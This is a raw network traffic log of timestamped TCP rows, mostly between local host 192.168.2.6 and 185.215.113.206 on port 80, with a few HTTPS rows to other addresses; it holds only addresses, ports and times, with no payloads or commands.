Nov 11, 2024 12:40:29.594026089 CET	49892	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.594062090 CET	49895	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.596760035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.596811056 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.596820116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.596831083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.596841097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.596859932 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.596959114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.596971035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.596982956 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.596993923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597003937 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597006083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597017050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597028017 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597052097 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597054005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597069025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597080946 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597090960 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597106934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597111940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597132921 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597138882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597145081 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597150087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597162008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597173929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597179890 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597184896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597189903 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597198009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597219944 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597249985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597269058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597286940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597297907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597310066 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597340107 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597347975 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597359896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597371101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597384930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597408056 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597434044 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597450018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597460985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597476006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597517967 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597528934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597538948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597549915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597569942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597594976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597656012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597671986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597682953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597692966 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597696066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597702980 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597708941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597722054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597722054 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597737074 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597740889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597753048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597763062 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597765923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597779036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597790003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597790003 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597804070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597815037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597815990 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597827911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597829103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597840071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597847939 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597855091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597876072 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597901106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597903013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597913027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597929955 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597940922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597944975 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597951889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597963095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597970963 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.597975969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597989082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.597992897 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598001003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598012924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598025084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598026037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598031998 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598037958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598051071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598054886 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598062992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598083973 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598109961 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598126888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598146915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598159075 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598198891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598257065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598268032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598279953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598289013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598304033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598316908 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598326921 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598328114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598340034 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598347902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598357916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598367929 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598373890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598378897 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598398924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598416090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598424911 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598428011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598443031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598453045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598453045 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598469019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598469019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598481894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598493099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598501921 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598505974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598515987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598526001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598540068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598563910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598563910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598581076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598591089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598633051 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598687887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598697901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598714113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598721027 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598726034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598735094 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598737955 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598752022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598757029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598766088 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598768950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598779917 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598800898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598818064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.598931074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598972082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598983049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.598994017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599004984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599013090 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599028111 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599054098 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599069118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599087954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599100113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599111080 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599119902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599131107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599131107 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599143982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599150896 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599154949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599163055 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599195004 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599220037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599231958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599241972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599256992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599262953 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599280119 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599308968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599347115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599359989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599370956 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599381924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599405050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599416971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599426985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599436045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599447012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599450111 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599457979 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599471092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599487066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599490881 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599505901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599505901 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599519014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599526882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599535942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599548101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599556923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599560976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599560976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599567890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599575996 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599586964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599598885 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599601984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599611044 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599616051 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599622965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599633932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599646091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599652052 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599663973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599674940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599684000 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599687099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599698067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599704981 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599721909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599733114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599735975 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599744081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599755049 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599755049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599771976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599778891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599782944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599793911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599806070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599817038 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599818945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599833012 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599833012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599841118 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599844933 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599863052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599869967 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599879980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599891901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599903107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599912882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599915028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599921942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599925041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599946976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599962950 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.599967957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599977970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599988937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.599999905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600008965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600012064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600019932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600032091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600039959 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600063086 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600238085 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.600246906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600249052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600266933 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600282907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600287914 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600295067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600303888 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600306034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600318909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600330114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600332975 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600342035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600356102 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600359917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600372076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600378036 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600389957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600399971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600403070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600414991 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600425005 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600429058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600440979 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600447893 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600452900 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600467920 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600524902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600537062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600548029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600553036 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600559950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600563049 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600573063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600581884 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600584984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600603104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600613117 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600615025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600624084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600627899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600641966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600651026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600653887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600666046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600667953 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600677967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600689888 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600689888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600703001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600716114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600720882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600733042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600744009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600747108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600763083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600764036 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600774050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600785017 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600788116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600800037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600811958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600822926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600828886 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600841999 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600855112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600856066 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600867987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600878954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600882053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600897074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600900888 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600908995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600920916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600934029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600938082 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600944042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600950956 CET	49827	80	192.168.2.6	185.215.113.206
